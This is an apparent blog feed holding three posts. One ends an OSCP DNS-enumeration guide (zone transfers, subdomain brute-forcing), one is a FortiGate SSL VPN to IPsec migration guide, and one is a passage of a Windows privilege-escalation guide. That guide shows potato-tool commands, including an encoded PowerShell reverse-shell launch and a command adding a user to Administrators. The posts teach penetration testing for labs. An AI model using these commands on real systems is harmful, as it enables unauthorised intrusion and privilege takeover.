<p>Here's the OSCP gotcha that eats hours: you find <code>intranet.corp.local</code>, you browse to the IP, and you get the default page — or nothing. That's because the web server is <strong>virtual-hosting</strong> on the <em>name</em>, and your browser asked by IP. The fix is to map the names you discovered into your hosts file so you can reach them:</p>
<pre><code class="language-bash">echo "10.10.10.13 intranet.corp.local corp.local mail.corp.local" | sudo tee -a /etc/hosts
# now: curl http://intranet.corp.local/  -&gt; the real app appears
</code></pre>
<p>This single step is the difference between "there's nothing on port 80" and finding the actual application. Burn it into your process: <strong>every hostname from DNS goes into /etc/hosts before you touch the web server.</strong></p>
<h3>Pattern B — The Active Directory tell</h3>
<p>If the DNS server is also a <strong>domain controller</strong> — extremely common, because AD runs its own DNS — the SRV records map the entire domain's plumbing for you:</p>
<pre><code class="language-bash">nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.local 10.10.10.10
nslookup -type=SRV _kerberos._tcp.corp.local 10.10.10.10
dig @10.10.10.10 _ldap._tcp.corp.local SRV
</code></pre>
<p>Those answers hand you the DC hostnames and confirm you're looking at an AD environment — which tells you the <em>real</em> fight is coming in Phase 4, and that this DNS box is also your LDAP, Kerberos, and SMB target. One service just told you the shape of the whole domain.</p>
<h3>Pattern C — Reverse sweeps fill in the blanks</h3>
<p>Know the subnet but not the names? Walk the PTR records:</p>
<pre><code class="language-bash">dnsrecon -r 10.10.10.0/24 -n 10.10.10.10        # reverse lookup the range
</code></pre>
<p>Reverse records often name boxes that forward enumeration missed — <code>backup-dc</code>, <code>sql01</code>, <code>fileserver</code> — each a labeled door.</p>
<hr />
<h2>The blue side (because the report needs it)</h2>
<p>DNS findings are easy to write up and easy to fix, which makes them satisfying report material:</p>
<ul>
<li><p><strong>Restrict zone transfers</strong> to known secondary nameservers only (<code>allow-transfer</code>). An open AXFR is a textbook finding — it leaks your entire internal naming scheme to anyone who asks.</p>
</li>
<li><p><strong>Split-horizon DNS.</strong> Internal records (<code>dev</code>, <code>backup-dc</code>, <code>sql01</code>) should never be resolvable from outside. Separate the internal and external views.</p>
</li>
<li><p><strong>Suppress version disclosure.</strong> <code>version.bind</code> handing out your exact BIND build is free reconnaissance for an attacker matching CVEs.</p>
</li>
<li><p><strong>Lock down dynamic updates</strong> so an attacker can't register or overwrite records.</p>
</li>
<li><p><strong>Log and monitor</strong> for AXFR attempts and high-volume lookups — subdomain brute-forcing is loud if anyone's listening.</p>
</li>
</ul>
<p>A strong report says: <em>here's the zone transfer that dumped your full host inventory, here are the four internal subdomains it exposed including a dev box two patches behind, and here's the</em> <code>allow-transfer</code> <em>line that closes it.</em></p>
<hr />
<h2>Cheat sheet — fourth one for the wall</h2>
<pre><code class="language-bash"># Identify
nmap -p53 -sV -sC 10.10.10.10
nmap -p53 --script "dns-*" 10.10.10.10
dig version.bind CHAOS TXT @10.10.10.10        # version disclosure

# Query records
dig @10.10.10.10 corp.local NS                 # nameservers
dig @10.10.10.10 corp.local MX                 # mail servers
dig @10.10.10.10 corp.local ANY                # everything it'll give

# Zone transfer (the jackpot)
dig axfr @10.10.10.10 corp.local
host -l corp.local 10.10.10.10
dnsrecon -d corp.local -n 10.10.10.10 -t axfr

# Subdomain brute (when AXFR fails)
gobuster dns -d corp.local -r 10.10.10.10 -w &lt;subdomain-wordlist&gt;
dnsrecon -d corp.local -n 10.10.10.10 -D &lt;wordlist&gt; -t brt
ffuf -u http://10.10.10.10 -H "Host: FUZZ.corp.local" -w &lt;wordlist&gt; -fs 0

# Active Directory tells
dig @10.10.10.10 _ldap._tcp.corp.local SRV
nslookup -type=SRV _kerberos._tcp.corp.local 10.10.10.10

# THE step everyone forgets
echo "10.10.10.13 intranet.corp.local corp.local" | sudo tee -a /etc/hosts
</code></pre>
<hr />
<h2>The mindset to carry forward</h2>
<p>DNS rewards a different instinct than anything before it. FTP, SSH, and SMB were about getting <em>in</em>. DNS is about getting <em>oriented</em> — it's the recon that makes every later attack faster and more precise.</p>
<p>The candidates who skim past port 53 are the same ones who later swear "there's nothing on the web server," not realizing the real app was vhosted on a name they never bothered to resolve. The map was right there. They just didn't read it. A zone transfer is the whole network handed to you on a plate; a brute-forced subdomain is the one door the front-facing scan never saw; an SRV record is the domain controller introducing itself.</p>
<p>Don't treat DNS as a box to tick. Treat it as the part of the engagement where the target draws you a diagram of itself — and then update your /etc/hosts and go knock on every door it just showed you.</p>
<p>Next in the series: <strong>SMTP, POP3, and IMAP</strong> — ports 25, 110, and 143, where the mail stack will happily confirm which usernames are real before you've sent a single password.</p>
<p><em>Enumerate everything. Trust nothing. Try harder.</em></p>
]]></content:encoded></item><item><title><![CDATA[SSL VPN Is Being Removed from FortiGate. Here's How I Migrate to IPsec Without Anyone Noticing.]]></title><description><![CDATA[A field guide to the SSL VPN → IPsec migration on FortiGate — written from the seat of the engineer who has to do it without taking the business down.

There's a particular kind of change every networ]]></description><link>https://packetlife.hashnode.dev/ssl-vpn-is-being-removed-from-fortigate-here-s-how-i-migrate-to-ipsec-without-anyone-noticing</link><guid isPermaLink="true">https://packetlife.hashnode.dev/ssl-vpn-is-being-removed-from-fortigate-here-s-how-i-migrate-to-ipsec-without-anyone-noticing</guid><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Mon, 15 Jun 2026 02:56:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/f0d4d9db-2057-4cb6-b361-fa8892a77911.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>A field guide to the SSL VPN → IPsec migration on FortiGate — written from the seat of the engineer who has to do it without taking the business down.</em></p>
<hr />
<p>There's a particular kind of change every network engineer learns to respect: the one where, if you get it wrong, nobody can work. Remote access is that change. When the tunnel is down, sales can't sell, support can't support, and finance can't close the month. So when Fortinet announced that SSL VPN tunnel mode was being <strong>removed</strong> from FortiOS — not deprecated, removed — I didn't read it as a config note. I read it as a deadline attached to a business-continuity problem.</p>
<p>If you run FortiGate firewalls and you still use SSL VPN for remote access, this article is the playbook I wish more people published: not just the CLI, but the <em>sequence</em>, the change management, and the business framing that turns a scary migration into a non-event.</p>
<hr />
<h2>Why this is happening — and why "do nothing" is the riskiest option</h2>
<p>Starting in <strong>FortiOS 7.6.3</strong>, SSL VPN tunnel mode is gone. Pulled from both the GUI and the CLI, on every model. The configuration does <strong>not</strong> carry forward when you upgrade. The driver isn't fashion — it's the long, ugly history of SSL VPN vulnerabilities that made it one of the most reliably exploited entry points in enterprise networking. Fortinet finally closed the door instead of patching the hinges.</p>
<p>That creates two facts you have to hold at once:</p>
<ol>
<li><p><strong>If you use SSL VPN tunnel mode, you must migrate to IPsec before you can upgrade to 7.6.3+.</strong> The upgrade will strip the config and remote access will break.</p>
</li>
<li><p><strong>Staying put is not "safe."</strong> Refusing to migrate means staying on aging firmware you can't safely patch — accumulating exactly the exposure that turns into an incident, an audit finding, or a failed cyber-insurance renewal.</p>
</li>
</ol>
<p>This is the part that matters when you talk to leadership: the migration is <strong>not optional new work</strong>. It is <strong>risk you are already carrying</strong>, and this is the moment to retire it. Framed that way, you're not asking for a maintenance window — you're reducing the company's attack surface and getting current on patches at the same time.</p>
<blockquote>
<p>A quick note to avoid confusion: SSL VPN <em>web mode</em> still exists, rebranded as "Agentless VPN." It's clientless browser access and is <strong>not</strong> a replacement for full-tunnel remote access. This guide is about replacing the full tunnel, which means IPsec.</p>
</blockquote>
<hr />
<h2>The mindset shift: this is a change-management exercise, not a config task</h2>
<p>Here's the uncomfortable truth I've made peace with: the CLI is the easy 20% of this job. Anyone can paste an IPsec phase 1. The other 80% — the part that actually earns your title — is doing it without taking remote access down for the whole company.</p>
<p>The whole approach rests on one principle:</p>
<blockquote>
<p><strong>Migrate on the current firmware. Validate everything. Upgrade last.</strong></p>
</blockquote>
<p>SSL VPN and IPsec <strong>coexist</strong> on pre-7.6.3 firmware. That single fact is your safety net. It means you never have to "rip and replace." You build IPsec alongside the working SSL VPN, prove it, move users over gradually, and only then schedule the firmware upgrade — by which point all the risk has already been retired.</p>
<p>Everything below is that principle, expanded.</p>
<hr />
<h2>Step 1 — Discovery before you touch anything</h2>
<p>You are not rebuilding a tunnel. You are <strong>reproducing a user experience</strong>. If you skip discovery, users will "lose" resources they had yesterday and you'll spend your maintenance window doing forensics instead of cutover.</p>
<p>Capture the current SSL VPN completely:</p>
<ul>
<li><p><strong>Split-tunnel scope</strong> — full tunnel or split, and the exact subnets/routes pushed to clients.</p>
</li>
<li><p><strong>DNS</strong> — the DNS servers and any split-DNS / domain settings handed to clients.</p>
</li>
<li><p><strong>Authentication</strong> — local, LDAP, RADIUS, or SAML (e.g. Entra ID), plus the user/group bindings.</p>
</li>
<li><p><strong>MFA</strong> — FortiToken, RADIUS-based, or IdP-enforced.</p>
</li>
<li><p><strong>The public FQDN</strong> users connect to today (you'll reuse it so nothing changes for them).</p>
</li>
</ul>
<p>Pull the relevant config and see who's actually connected right now:</p>
<pre><code class="language-bash">show vpn ssl settings
show vpn ssl web portal
get vpn ssl monitor          # who is connected at this moment
</code></pre>
<p>Write it all down. This document <em>is</em> your acceptance criteria later.</p>
<hr />
<h2>Step 2 — Take a backup. Then take it seriously.</h2>
<p>This is non-disruptive and it is non-negotiable. Before you change a single line, you capture a known-good configuration off-box. It's your rollback artifact and your reference.</p>
<pre><code class="language-bash">execute backup config &lt;tftp|ftp|usb|scp&gt; ...
</code></pre>
<p>Store it somewhere safe, and <strong>sanitize secrets</strong> (PSKs, passwords, SNMP communities) before it goes anywhere it shouldn't. I take a fresh backup again immediately before the firmware upgrade, because the gap between "start of project" and "upgrade night" can be days, and a lot can change.</p>
<p>If there's one habit that separates the engineers who sleep well from the ones who don't, it's this: <strong>you never make a change you can't undo, and the backup is how you guarantee that.</strong></p>
<hr />
<h2>Step 3 — Scope it honestly (know your blast radius)</h2>
<p>Two questions decide how this migration runs:</p>
<ul>
<li><p><strong>One site or all of them?</strong></p>
</li>
<li><p><strong>FortiManager-managed or standalone?</strong></p>
</li>
</ul>
<p>Standalone means box-by-box: each unit configured, validated, and cut over individually. FortiManager-managed means you can template the migration across many devices — which is powerful, but a bad push hits <strong>everyone at once</strong>. Know which problem you have before you start, because it changes your entire execution model and your risk profile.</p>
<p>This is the kind of thing leadership actually understands when you phrase it as blast radius: <em>"If something goes wrong, does it affect one office or the whole company?"</em> Answer that before you build anything.</p>
<hr />
<h2>Step 4 — Verify the path before the window</h2>
<p>The most demoralizing way to fail a migration is to discover a showstopper <em>during</em> the maintenance window. Catch these beforehand:</p>
<ul>
<li><p><strong>IPsec requires UDP/500, UDP/4500 (NAT-T), and ESP</strong> to be open end-to-end. If an upstream ISP or a customer network blocks them, plan <strong>IPsec over TCP/443</strong> instead — which, conveniently, is the same port SSL VPN used, so it works from the same restrictive networks your users connect from.</p>
</li>
<li><p><strong>The client IP pool must not overlap</strong> any existing internal subnet, the old SSL VPN pool, or any site-to-site remote subnet. An overlapping mode-config pool is the single most common cause of <em>"the tunnel connects but nothing works."</em></p>
</li>
</ul>
<p>Five minutes of path verification saves you an hour of debugging in front of an audience.</p>
<hr />
<h2>Step 5 — Build IPsec alongside SSL VPN</h2>
<p>Now the config. This is a dial-up IPsec setup using IKEv2 with mode-config (the FortiGate assigns client IPs) and user-group authentication — the modern replacement for SSL VPN tunnel mode. Placeholders in angle brackets get replaced with the customer's real values.</p>
<p><strong>Phase 1:</strong></p>
<pre><code class="language-bash">config vpn ipsec phase1-interface
    edit "RA-IPsec"
        set type dynamic
        set interface "wan1"
        set ike-version 2
        set authmethod psk            # or signature for cert-based
        set mode-cfg enable           # server assigns client IPs
        set ipv4-start-ip 10.212.10.1
        set ipv4-end-ip 10.212.10.254
        set ipv4-netmask 255.255.255.0
        set dns-mode auto
        set ipv4-dns-server1 10.10.0.10
        set ipv4-split-include "RA-split-routes"
        set authusrgrp "VPN-Users"
        set save-password enable
        set client-auto-negotiate enable
        set proposal aes256-sha256
        set dpd on-idle
        set psksecret &lt;REPLACE-WITH-STRONG-PSK&gt;
    next
end
</code></pre>
<p><strong>Phase 2:</strong></p>
<pre><code class="language-bash">config vpn ipsec phase2-interface
    edit "RA-IPsec"
        set phase1name "RA-IPsec"
        set proposal aes256-sha256
        set keepalive enable
    next
end
</code></pre>
<p><strong>The split-tunnel address object</strong> — this reproduces the SSL VPN split-tunnel routing list. Match the old scope <em>exactly</em>, or users feel it as "I can't reach X anymore":</p>
<pre><code class="language-bash">config firewall address
    edit "RA-split-routes"
        set type ipmask
        set subnet 10.10.0.0 255.255.0.0
    next
end
</code></pre>
<h3>The gotcha that catches everyone: firewall policies don't migrate</h3>
<p>This is the one that bites hard. <strong>Firewall policies are not migrated automatically.</strong> Your old <code>ssl.root</code> policy means nothing to the new IPsec interface. The tunnel will come up, the client will get an IP — and pass <strong>zero traffic</strong> — until you rebuild the policy against the new tunnel interface:</p>
<pre><code class="language-bash">config firewall policy
    edit 0
        set name "RA-IPsec-to-LAN"
        set srcintf "RA-IPsec"
        set dstintf "lan"
        set srcaddr "all"
        set dstaddr "RA-split-routes"
        set action accept
        set schedule "always"
        set service "ALL"
        set groups "VPN-Users"
        set nat disable
    next
end
</code></pre>
<p>If you remember one technical detail from this entire article, make it this one. "Tunnel's up but nothing works" is almost always a missing or wrong firewall policy.</p>
<hr />
<h2>Step 6 — The endpoint side, and where cutover is actually controlled</h2>
<p>The FortiClient profile is where you control the migration, and <strong>FortiClient EMS</strong> is the lever. The trick is to stage, not switch:</p>
<ol>
<li><p>Add the IPsec tunnel to the EMS endpoint profile <strong>alongside</strong> the existing SSL VPN tunnel — don't remove SSL VPN yet.</p>
</li>
<li><p>Assign to a <strong>pilot group</strong> only. Validate.</p>
</li>
<li><p>Expand to all users once validated.</p>
</li>
<li><p><strong>Only at the end of cutover</strong>, remove the SSL VPN tunnel from the profile and enforce IPsec, so endpoints can no longer fall back.</p>
</li>
</ol>
<p>Watch for this: if EMS keeps pushing the SSL VPN tunnel after you think you've cut over, endpoints will quietly keep using it — and then break at the firmware upgrade. Removing SSL VPN from the EMS profile is <strong>part of the migration</strong>, not an afterthought.</p>
<hr />
<h2>Step 7 — Validate like you mean it</h2>
<p>Validate with the pilot group on the <strong>live, current-firmware box</strong> before mass cutover. And validate with a <strong>real user account through the production auth backend and MFA</strong> — not just an admin test account. Auth-group and MFA differences are the failures users notice first.</p>
<pre><code class="language-bash">diagnose vpn ike gateway list      # phase 1 up?
diagnose vpn tunnel list           # phase 2 up, client got an IP?
</code></pre>
<p>Then check it like a user: can they reach the same internal hosts as before, does internal DNS resolve, does the split tunnel route only the intended subnets, does MFA prompt the way it used to? Tick every item against the discovery document from Step 1. That's your acceptance test.</p>
<hr />
<h2>Step 8 — The maintenance window is the <em>last</em> step, not the first</h2>
<p>Here's where the discipline pays off. By the time you schedule the firmware upgrade, IPsec is already proven for every user. The window isn't where you do the risky work — it's where you do the <em>final</em> work, with all the risk already retired.</p>
<p>And you treat the upgrade with respect, because <strong>it's a one-way door</strong>:</p>
<ul>
<li><p><strong>Before the upgrade</strong>, rollback is trivial — just point users back to the still-present SSL VPN tunnel via EMS. Both stacks coexist on pre-7.6.3 firmware.</p>
</li>
<li><p><strong>After the upgrade</strong>, SSL VPN tunnel mode no longer exists. Rollback now means restoring the pre-upgrade firmware <em>and</em> the backed-up config. That's exactly why you don't upgrade until IPsec is proven.</p>
</li>
</ul>
<p>So the window sequence is short and boring on purpose:</p>
<ol>
<li><p>Confirm SSL VPN usage has dropped to zero (<code>get vpn ssl monitor</code>).</p>
</li>
<li><p>Take a <strong>fresh</strong> config backup.</p>
</li>
<li><p>Upgrade to FortiOS 7.6.3+.</p>
</li>
<li><p>Re-validate IPsec end-to-end.</p>
</li>
</ol>
<p>If you've done the previous seven steps, the window is a formality. That's the goal. <strong>A maintenance window should be a non-event because all the danger was handled before anyone scheduled it.</strong></p>
<blockquote>
<p><strong>The rollback question I always ask:</strong> <em>"What's your rollback story for the moment after you've upgraded?"</em> If the answer is anything other than "restore firmware and config from backup," you're not ready to schedule the window yet.</p>
</blockquote>
<hr />
<h2>The business impact, done right</h2>
<p>Let me translate the whole thing into the language leadership cares about, because connecting engineering to business outcomes is what actually moves you from mid-level toward senior:</p>
<ul>
<li><p><strong>Users notice nothing.</strong> Same FQDN, same login, same resources. Zero downtime.</p>
</li>
<li><p><strong>The company moves off a vulnerable remote-access path</strong> that was a standing liability.</p>
</li>
<li><p><strong>The firmware finally gets current</strong>, which closes patch gaps and helps with audits and insurance.</p>
</li>
<li><p><strong>Security posture goes up while downtime stays at zero.</strong></p>
</li>
</ul>
<p>That last line is the entire job. The value isn't knowing the IPsec commands — plenty of people know the commands. The value is <strong>sequencing the work so the business never feels it.</strong> Discovery, backups, honest scoping, path verification, building alongside, validating with a pilot, and saving the irreversible step for last: that ordering is the difference between an engineer who <em>can</em> do the migration and one who can be trusted to.</p>
<hr />
<h2>TL;DR — the sequence on one screen</h2>
<ol>
<li><p><strong>Discover</strong> the current SSL VPN completely (it's your acceptance criteria).</p>
</li>
<li><p><strong>Back up</strong> off-box, secrets sanitized.</p>
</li>
<li><p><strong>Scope</strong> honestly one site or all, standalone or FortiManager-managed.</p>
</li>
<li><p><strong>Verify the path</strong> — IPsec ports / TCP-443 fallback, no IP-pool overlap.</p>
</li>
<li><p><strong>Build IPsec alongside</strong> SSL VPN and <strong>rebuild the firewall policy</strong> (it doesn't migrate).</p>
</li>
<li><p><strong>Stage in EMS</strong>, cut over by pilot group, then enforce IPsec last.</p>
</li>
<li><p><strong>Validate</strong> with real users + MFA against the discovery doc.</p>
</li>
<li><p><strong>Upgrade last</strong> — it's a one-way door; fresh backup, then re-validate.</p>
</li>
</ol>
<p>Migrate on current firmware. Validate everything. Upgrade last. Do it in that order and the SSL VPN → IPsec migration stops being a gamble and becomes what good engineering always looks like from the outside: boring, quiet, and uneventful.</p>
<hr />
<p><em>If you're working through this migration and want to compare notes on edge cases —overlapping subnets, SAML auth, FortiManager-templated rollouts — I'm always up for that conversation.</em></p>
]]></content:encoded></item><item><title><![CDATA[Windows Privilege Escalation: The OSCP & CTF Field Guide That Gets You SYSTEM]]></title><description><![CDATA[You have a shell. It's running as a low-privilege user on a Windows box. WinPEAS is scrolling. There's red text everywhere. You don't know where to start.
Most people start at the bottom of the output]]></description><link>https://packetlife.hashnode.dev/windows-privilege-escalation-the-oscp-ctf-field-guide-that-gets-you-system</link><guid isPermaLink="true">https://packetlife.hashnode.dev/windows-privilege-escalation-the-oscp-ctf-field-guide-that-gets-you-system</guid><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Sun, 14 Jun 2026 16:46:43 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p><em>You have a shell. It's running as a low-privilege user on a Windows box. WinPEAS is scrolling. There's red text everywhere. You don't know where to start.</em></p>
<p><em>Most people start at the bottom of the output. That's the mistake.</em></p>
</blockquote>
<p>Windows privilege escalation has a reputation for being harder than Linux. It isn't. It's just <em>different</em> — and people fail it not because Windows is more complex, but because they never internalized the order of operations. They throw tools at the machine, stare at walls of output, and hope something jumps out.</p>
<p>This post gives you the order. It's the exact sequence I work through on every Windows box — OSCP exam, CTF, HackTheBox, TryHackMe. Every major vector covered: token impersonation, service misconfigurations, scheduled tasks, registry abuse, credential harvesting, and more. Real terminal output throughout. Tips that actually matter. A copy-paste checklist at the end.</p>
<p>If you've read the <a href="#">Linux Privilege Escalation guide</a> or the <a href="#">OSCP Pentest Methodology post</a>, you know the format. No fluff. Let's get SYSTEM.</p>
<hr />
<h2>The Mental Model: Windows PrivEsc Is a Permission Audit</h2>
<p>Before you touch a tool, understand <em>what you're looking for</em>. On Windows, privilege escalation almost always comes down to one of three things:</p>
<pre><code class="language-plaintext">┌──────────────────────────────────────────────────────────────┐
│  1. TOKEN ABUSE      — you already have the privileges,      │
│                        just not the identity                 │
│                                                              │
│  2. MISCONFIGURATION — something was set up wrong:          │
│                        services, tasks, registry, files      │
│                                                              │
│  3. CREDENTIAL THEFT — someone left the keys somewhere       │
└──────────────────────────────────────────────────────────────┘
</code></pre>
<p>That's it. Every technique in this post is a variation on one of those three. When you're stuck, ask yourself: which bucket am I not covering?</p>
<p><strong>The rules before you start:</strong></p>
<p>🗒️ <strong>Screenshot everything before you move.</strong> <code>whoami /all</code> output, service configs, the proof — capture it the moment you see it. Don't trust that you'll remember or be able to reproduce it.</p>
<p>⏱️ <strong>Automate early, enumerate manually.</strong> WinPEAS in the background the second you land. But read what it finds — don't just execute highlighted items blindly. Understanding why something is exploitable is what gets you through the box you've never seen before.</p>
<p>🔑 <strong>Spray every credential everywhere.</strong> Windows environments love password reuse. A cred pulled from a config file on one service will open five others. Maintain a running list.</p>
<hr />
<h2>Table of Contents</h2>
<ol>
<li><p><a href="#1-initial-situational-awareness">Initial Situational Awareness</a></p>
</li>
<li><p><a href="#2-token-impersonation--seimpersonate--friends">Token Impersonation — SeImpersonate &amp; Friends</a></p>
</li>
<li><p><a href="#3-service-misconfigurations">Service Misconfigurations</a></p>
</li>
<li><p><a href="#4-scheduled-task-abuse">Scheduled Task Abuse</a></p>
</li>
<li><p><a href="#5-registry-based-escalation">Registry-Based Escalation</a></p>
</li>
<li><p><a href="#6-credential-harvesting">Credential Harvesting</a></p>
</li>
<li><p><a href="#7-weak-file--folder-permissions">Weak File &amp; Folder Permissions</a></p>
</li>
<li><p><a href="#8-dll-hijacking">DLL Hijacking</a></p>
</li>
<li><p><a href="#9-automated-enumeration--winpeas--others">Automated Enumeration — WinPEAS &amp; Others</a></p>
</li>
<li><p><a href="#-the-master-checklist">The Master Checklist</a></p>
</li>
</ol>
<hr />
<h2>1. Initial Situational Awareness</h2>
<p>You've landed a shell. Before anything else — five minutes of manual orientation. This tells you which buckets to focus on and saves you from chasing dead-ends.</p>
<h3>Who Are You and What Do You Have?</h3>
<pre><code class="language-cmd">C:\&gt; whoami
victim\bob

C:\&gt; whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                  Description                    State
=============================== ============================== ========
SeShutdownPrivilege             Shut down the system           Disabled
SeChangeNotifyPrivilege         Bypass traverse checking       Enabled
SeUndockPrivilege               Remove computer from dock      Disabled
SeImpersonatePrivilege          Impersonate a client...        Enabled   ← 🔥
SeCreateGlobalObjects           Create global objects          Enabled

C:\&gt; whoami /groups
GROUP INFORMATION
-----------------
Group Name                        Type       Attributes
================================= ========== ==========================
Everyone                          Well-known Mandatory group, Enabled
BUILTIN\Users                     Alias      Mandatory group, Enabled
BUILTIN\IIS_IUSRS                 Alias      Mandatory group, Enabled
NT AUTHORITY\SERVICE              Well-known Enabled group
</code></pre>
<p><code>SeImpersonatePrivilege</code> is enabled. That's the single most important line in this output — it means SYSTEM access via token impersonation (covered in Section 2). Note it and move fast.</p>
<h3>The System — OS, Patch Level, Architecture</h3>
<pre><code class="language-cmd">C:\&gt; systeminfo

Host Name:                 VICTIM
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Architecture:           x64-based PC
Hotfix(s):                 3 Hotfix(s) Installed
                           KB4562562
                           KB4541338
                           KB4497165

C:\&gt; systeminfo | findstr /B /C:"OS" /C:"Hotfix" /C:"Domain"
OS Name:         Microsoft Windows Server 2019 Standard
OS Version:      10.0.17763
Domain:          CORP.LOCAL
Hotfix(s):       3 Hotfix(s) Installed
</code></pre>
<p>Three hotfixes on a Server 2019 box. That's a dangerously thin patch history. Note the build number — you'll use it to search for kernel exploits if nothing else works.</p>
<h3>Network — Is This a Pivot Point?</h3>
<pre><code class="language-cmd">C:\&gt; ipconfig /all

Ethernet adapter Ethernet0:
   IPv4 Address:  10.10.10.100
   Subnet Mask:   255.255.255.0
   Default Gateway: 10.10.10.1

Ethernet adapter Ethernet1:
   IPv4 Address:  172.16.50.100   ← 🔥 internal network
   Subnet Mask:   255.255.255.0
</code></pre>
<p>Two interfaces. This box bridges to a <code>172.16.50.0/24</code> internal network invisible from your Kali box. That's a pivoting target for later — note it now.</p>
<pre><code class="language-cmd">C:\&gt; netstat -ano | findstr LISTENING
TCP  0.0.0.0:80    0.0.0.0:0  LISTENING  1234
TCP  0.0.0.0:443   0.0.0.0:0  LISTENING  1234
TCP  127.0.0.1:8443 0.0.0.0:0 LISTENING  3210   ← internal-only service
TCP  127.0.0.1:3306 0.0.0.0:0 LISTENING  4012   ← MySQL, localhost only

C:\&gt; tasklist /SVC | findstr "3210\|4012"
httpd.exe           3210  LocalSystem     ← internal web server running as SYSTEM
mysqld.exe          4012  LocalSystem     ← MySQL running as SYSTEM
</code></pre>
<p>An internal web server on 8443 running as SYSTEM — that's a high-value target. Port-forward it back to your attacker machine and attack it directly.</p>
<blockquote>
<p>💡 <strong>TIP — Internal services are often forgotten.</strong> Developers run test apps locally as SYSTEM with no authentication. <code>netstat -ano</code> filtered for <code>127.0.0.1</code> listeners is one of the most underrated commands in Windows PrivEsc.</p>
</blockquote>
<h3>Users, Groups, and Local Admins</h3>
<pre><code class="language-cmd">C:\&gt; net user
User accounts for \\VICTIM
-------------------------------------------------------------------------------
Administrator  bob  alice  svc_backup  svc_web  Guest

C:\&gt; net localgroup administrators
Members
-------------------------------------------------------------------------------
Administrator
svc_backup     ← a service account in the admin group — interesting

C:\&gt; net user bob
User name                    bob
Password last set            6/1/2026
Password expires             Never              ← no rotation policy
Last logon                   6/14/2026
Local Group Memberships      *Users *Remote Desktop Users

C:\&gt; net user svc_backup
User name                    svc_backup
Password last set            1/15/2021          ← 5-year-old password
Local Group Memberships      *Administrators    ← admin!
</code></pre>
<p><code>svc_backup</code> is in the local Administrators group with a 5-year-old password. A service account with admin rights and stale credentials is a textbook target — credentials may be stored somewhere, or the password may be trivially crackable.</p>
<hr />
<h2>2. Token Impersonation — SeImpersonate &amp; Friends</h2>
<p>This is the highest-yield technique on Windows, particularly on machines running IIS, MSSQL, or any service account. When a process has <code>SeImpersonatePrivilege</code>, it can impersonate the security tokens of other users — including SYSTEM. The potato family of tools abuses this to get SYSTEM in under a minute.</p>
<h3>Why This Works</h3>
<p>Windows services that handle client connections (IIS, MSSQL) need to impersonate whoever is connecting. Microsoft grants them <code>SeImpersonatePrivilege</code> for this. The potato attacks trick Windows into creating a SYSTEM-level token and impersonating it.</p>
<pre><code class="language-cmd">C:\&gt; whoami /priv | findstr /i "impersonate\|assignprimary"
SeImpersonatePrivilege         Impersonate a client  Enabled   ← 🔥 jackpot
SeAssignPrimaryTokenPrivilege  Replace process token Disabled
</code></pre>
<p>Either privilege present = you're one tool away from SYSTEM.</p>
<h3>PrintSpoofer — Modern Windows (2016/2019/2022/10/11)</h3>
<p>PrintSpoofer is the go-to for anything running Windows 10 or Server 2016 and later:</p>
<pre><code class="language-cmd">C:\Temp&gt; .\PrintSpoofer64.exe -i -c cmd

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

Microsoft Windows [Version 10.0.17763.2114]
C:\Windows\system32&gt; whoami
nt authority\system   ← 🏁 SYSTEM
C:\Windows\system32&gt; hostname
VICTIM
</code></pre>
<p>One command. Done. This is why <code>whoami /priv</code> is always the first thing you check.</p>
<h3>GodPotato — Works Across Nearly All Windows Versions</h3>
<p>GodPotato is the most versatile potato variant — covers Server 2012 through 2022:</p>
<pre><code class="language-cmd">C:\Temp&gt; .\GodPotato.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140715665858560
[*] DispatchTable: 0x140715668144912
[*] UseWinRT: False
[*] CreateInstance OK
nt authority\system

# Get a reverse shell as SYSTEM
C:\Temp&gt; .\GodPotato.exe -cmd "cmd /c powershell -e JABjAGwAaQBlAG4AdA..."
</code></pre>
<h3>SweetPotato — Service Accounts on Older Systems</h3>
<pre><code class="language-cmd">C:\Temp&gt; .\SweetPotato.exe -a "whoami"
nt authority\system

C:\Temp&gt; .\SweetPotato.exe -a "net localgroup administrators bob /add"
The command completed successfully.
</code></pre>
<h3>Which Potato to Use</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Best For</th>
<th>Windows Version</th>
</tr>
</thead>
<tbody><tr>
<td>PrintSpoofer</td>
<td>IIS/MSSQL service accounts</td>
<td>Server 2016/2019/2022, Win 10/11</td>
</tr>
<tr>
<td>GodPotato</td>
<td>Broadest compatibility</td>
<td>Server 2012 R2 → 2022</td>
</tr>
<tr>
<td>SweetPotato</td>
<td>Service accounts</td>
<td>Server 2016-2019</td>
</tr>
<tr>
<td>JuicyPotato</td>
<td>Older targets</td>
<td>Server 2008-2016 (before patches)</td>
</tr>
</tbody></table>
<blockquote>
<p>💡 <strong>TIP — Shell as IIS (iis apppool...)? You almost certainly have SeImpersonate.</strong> <code>whoami /priv</code> immediately. This path to SYSTEM is so reliable that if you land as any service account and see that privilege, you're done.</p>
</blockquote>
<hr />
<h2>3. Service Misconfigurations</h2>
<p>Windows services are a gold mine of privilege escalation opportunities. Three distinct misconfigurations to check: weak binary permissions, unquoted paths, and weak service registry permissions.</p>
<h3>Misconfiguration 1 — Weak Service Binary Permissions</h3>
<p>If a service runs as SYSTEM but <em>you</em> can overwrite the binary it executes, you own SYSTEM.</p>
<pre><code class="language-powershell"># Find services running as LocalSystem
C:\&gt; sc query type= all state= all | findstr "SERVICE_NAME"
SERVICE_NAME: VulnSvc
SERVICE_NAME: BackupService
SERVICE_NAME: UpdateManager

# Check what binary VulnSvc runs
C:\&gt; sc qc VulnSvc
SERVICE_NAME: VulnSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\VulnApp\vulnsvc.exe
        OBJECT_NAME        : LocalSystem   ← runs as SYSTEM

# Check permissions on the binary — can we write to it?
